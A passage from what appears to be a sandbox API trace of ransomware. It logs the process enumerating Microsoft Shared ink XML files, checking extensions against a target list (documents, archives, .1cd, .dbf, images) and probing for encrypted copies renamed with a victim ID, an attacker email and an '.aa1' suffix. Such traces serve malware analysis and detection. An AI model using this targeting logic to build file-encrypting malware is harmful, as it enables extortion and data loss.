shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.741] lstrlenW (lpString=".doc") returned 4 [0205.741] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.741] lstrlenW (lpString=".docx") returned 5 [0205.741] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0205.741] lstrlenW (lpString=".pdf") returned 4 [0205.741] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.741] lstrlenW (lpString=".xls") returned 4 [0205.741] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.741] lstrlenW (lpString=".xlsx") returned 5 [0205.741] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0205.741] lstrlenW (lpString=".ppt") returned 4 [0205.741] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.741] lstrlenW (lpString=".zip") returned 4 [0205.741] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.742] lstrlenW (lpString=".rar") returned 4 [0205.742] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.742] lstrlenW (lpString=".bz2") returned 4 [0205.742] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.742] lstrlenW (lpString=".7z") returned 3 [0205.742] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.742] lstrlenW (lpString=".dbf") returned 4 [0205.742] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.742] lstrlenW (lpString=".1cd") returned 4 [0205.742] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.742] lstrlenW (lpString=".jpg") returned 4 [0205.742] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.742] lstrlenW (lpString=".doc") returned 4 [0205.742] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.742] lstrlenW (lpString=".docx") returned 5 [0205.742] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0205.742] lstrlenW (lpString=".pdf") returned 4 [0205.742] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.742] lstrlenW (lpString=".xls") returned 4 [0205.743] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.743] lstrlenW (lpString=".xlsx") returned 5 [0205.743] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0205.743] lstrlenW (lpString=".ppt") returned 4 [0205.743] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.743] lstrlenW (lpString=".zip") returned 4 [0205.743] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.743] lstrlenW (lpString=".rar") returned 4 [0205.743] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.743] lstrlenW (lpString=".bz2") returned 4 [0205.743] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.743] lstrlenW (lpString=".7z") returned 3 [0205.743] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.743] lstrlenW (lpString=".dbf") returned 4 [0205.743] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.743] lstrlenW (lpString=".1cd") returned 4 [0205.743] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0205.743] lstrlenW (lpString=".jpg") returned 4 [0205.744] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.744] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0205.744] lstrlenW (lpString="base_jpn.xml") returned 12 [0205.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.744] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=804) returned 1 [0205.744] CloseHandle (hObject=0x1b0) returned 1 [0205.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0205.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.745] lstrlenW (lpString=".doc") returned 4 [0205.745] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.745] lstrlenW (lpString=".docx") returned 5 [0205.745] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0205.745] lstrlenW (lpString=".pdf") returned 4 [0205.745] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.745] lstrlenW (lpString=".xls") returned 4 [0205.745] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.745] lstrlenW (lpString=".xlsx") returned 5 [0205.745] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0205.745] lstrlenW (lpString=".ppt") returned 4 [0205.745] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.745] lstrlenW (lpString=".zip") returned 4 [0205.745] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.745] lstrlenW (lpString=".rar") returned 4 [0205.745] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString=".bz2") returned 4 [0205.746] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString=".7z") returned 3 [0205.746] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.746] lstrlenW (lpString=".dbf") returned 4 [0205.746] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.746] lstrlenW (lpString=".1cd") returned 4 [0205.746] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.746] lstrlenW (lpString=".jpg") returned 4 [0205.746] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.746] lstrlenW (lpString=".doc") returned 4 [0205.746] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.746] lstrlenW (lpString=".docx") returned 5 [0205.746] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0205.746] lstrlenW (lpString=".pdf") returned 4 [0205.746] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.747] lstrlenW (lpString=".xls") returned 4 [0205.747] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.747] lstrlenW (lpString=".xlsx") returned 5 [0205.747] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0205.747] lstrlenW (lpString=".ppt") returned 4 [0205.747] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.747] lstrlenW (lpString=".zip") returned 4 [0205.747] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.747] lstrlenW (lpString=".rar") returned 4 [0205.747] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.747] lstrlenW (lpString=".bz2") returned 4 [0205.747] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.747] lstrlenW (lpString=".7z") returned 3 [0205.747] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.747] lstrlenW (lpString=".dbf") returned 4 [0205.747] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.747] lstrlenW (lpString=".1cd") returned 4 [0205.747] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0205.748] lstrlenW (lpString=".jpg") returned 4 [0205.748] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.748] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0205.748] lstrlenW (lpString="base_kor.xml") returned 12 [0205.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.749] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=488) returned 1 [0205.749] CloseHandle (hObject=0x1b0) returned 1 [0205.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0205.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.749] lstrlenW (lpString=".doc") returned 4 [0205.749] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.749] lstrlenW (lpString=".docx") returned 5 [0205.749] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0205.749] lstrlenW (lpString=".pdf") returned 4 [0205.750] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.750] lstrlenW (lpString=".xls") returned 4 [0205.750] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.750] lstrlenW (lpString=".xlsx") returned 5 [0205.750] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0205.750] lstrlenW (lpString=".ppt") returned 4 [0205.750] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.750] lstrlenW (lpString=".zip") returned 4 [0205.750] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.750] lstrlenW (lpString=".rar") returned 4 [0205.750] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.750] lstrlenW (lpString=".bz2") returned 4 [0205.750] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.750] lstrlenW (lpString=".7z") returned 3 [0205.750] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.750] lstrlenW (lpString=".dbf") returned 4 [0205.750] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.751] lstrlenW (lpString=".1cd") returned 4 [0205.751] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.751] lstrlenW (lpString=".jpg") returned 4 [0205.751] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.751] lstrlenW (lpString=".doc") returned 4 [0205.751] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.751] lstrlenW (lpString=".docx") returned 5 [0205.751] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0205.751] lstrlenW (lpString=".pdf") returned 4 [0205.751] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.751] lstrlenW (lpString=".xls") returned 4 [0205.751] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.751] lstrlenW (lpString=".xlsx") returned 5 [0205.751] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0205.751] lstrlenW (lpString=".ppt") returned 4 [0205.751] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.751] lstrlenW (lpString=".zip") returned 4 [0205.751] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.752] lstrlenW (lpString=".rar") returned 4 [0205.752] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.752] lstrlenW (lpString=".bz2") returned 4 [0205.752] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.752] lstrlenW (lpString=".7z") returned 3 [0205.752] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.752] lstrlenW (lpString=".dbf") returned 4 [0205.752] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.752] lstrlenW (lpString=".1cd") returned 4 [0205.752] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0205.752] lstrlenW (lpString=".jpg") returned 4 [0205.752] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.752] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0205.752] lstrlenW (lpString="base_rtl.xml") returned 12 [0205.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.753] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=617) returned 1 [0205.753] CloseHandle (hObject=0x1b0) returned 1 [0205.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0205.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.753] lstrlenW (lpString=".doc") returned 4 [0205.753] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.753] lstrlenW (lpString=".docx") returned 5 [0205.753] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0205.754] lstrlenW (lpString=".pdf") returned 4 [0205.754] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.754] lstrlenW (lpString=".xls") returned 4 [0205.754] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.754] lstrlenW (lpString=".xlsx") returned 5 [0205.754] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0205.754] lstrlenW (lpString=".ppt") returned 4 [0205.754] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.754] lstrlenW (lpString=".zip") returned 4 [0205.755] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.755] lstrlenW (lpString=".rar") returned 4 [0205.755] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.755] lstrlenW (lpString=".bz2") returned 4 [0205.755] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.755] lstrlenW (lpString=".7z") returned 3 [0205.755] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.755] lstrlenW (lpString=".dbf") returned 4 [0205.755] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.755] lstrlenW (lpString=".1cd") returned 4 [0205.755] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.755] lstrlenW (lpString=".jpg") returned 4 [0205.755] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.755] lstrlenW (lpString=".doc") returned 4 [0205.755] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.755] lstrlenW (lpString=".docx") returned 5 [0205.755] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0205.756] lstrlenW (lpString=".pdf") returned 4 [0205.756] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.756] lstrlenW (lpString=".xls") returned 4 [0205.756] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.756] lstrlenW (lpString=".xlsx") returned 5 [0205.756] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0205.756] lstrlenW (lpString=".ppt") returned 4 [0205.756] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.756] lstrlenW (lpString=".zip") returned 4 [0205.756] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.756] lstrlenW (lpString=".rar") returned 4 [0205.756] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.756] lstrlenW (lpString=".bz2") returned 4 [0205.756] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.756] lstrlenW (lpString=".7z") returned 3 [0205.756] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.756] lstrlenW (lpString=".dbf") returned 4 [0205.756] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.757] lstrlenW (lpString=".1cd") returned 4 [0205.757] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0205.757] lstrlenW (lpString=".jpg") returned 4 [0205.757] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.757] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0205.757] lstrlenW (lpString="ja-jp.xml") returned 9 [0205.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.758] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=16616) returned 1 [0205.758] CloseHandle (hObject=0x1b0) returned 1 [0205.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0205.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0205.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0205.758] lstrlenW (lpString=".doc") returned 4 [0205.759] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.759] lstrlenW (lpString=".docx") returned 5 [0205.759] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0205.759] lstrlenW (lpString=".pdf") returned 4 [0205.759] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.759] lstrlenW (lpString=".xls") returned 4 [0205.759] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.759] lstrlenW (lpString=".xlsx") returned 5 [0205.759] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0205.759] lstrlenW (lpString=".ppt") returned 4 [0205.759] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0205.759] lstrlenW (lpString=".zip") returned 4 [0205.759] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.759] lstrlenW (lpString=".rar") returned 4 [0205.759] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.759] lstrlenW (lpString=".bz2") returned 4 [0205.759] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.759] lstrlenW (lpString=".7z") returned 3 [0205.759] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0205.760] lstrlenW (lpString=".dbf") returned 4 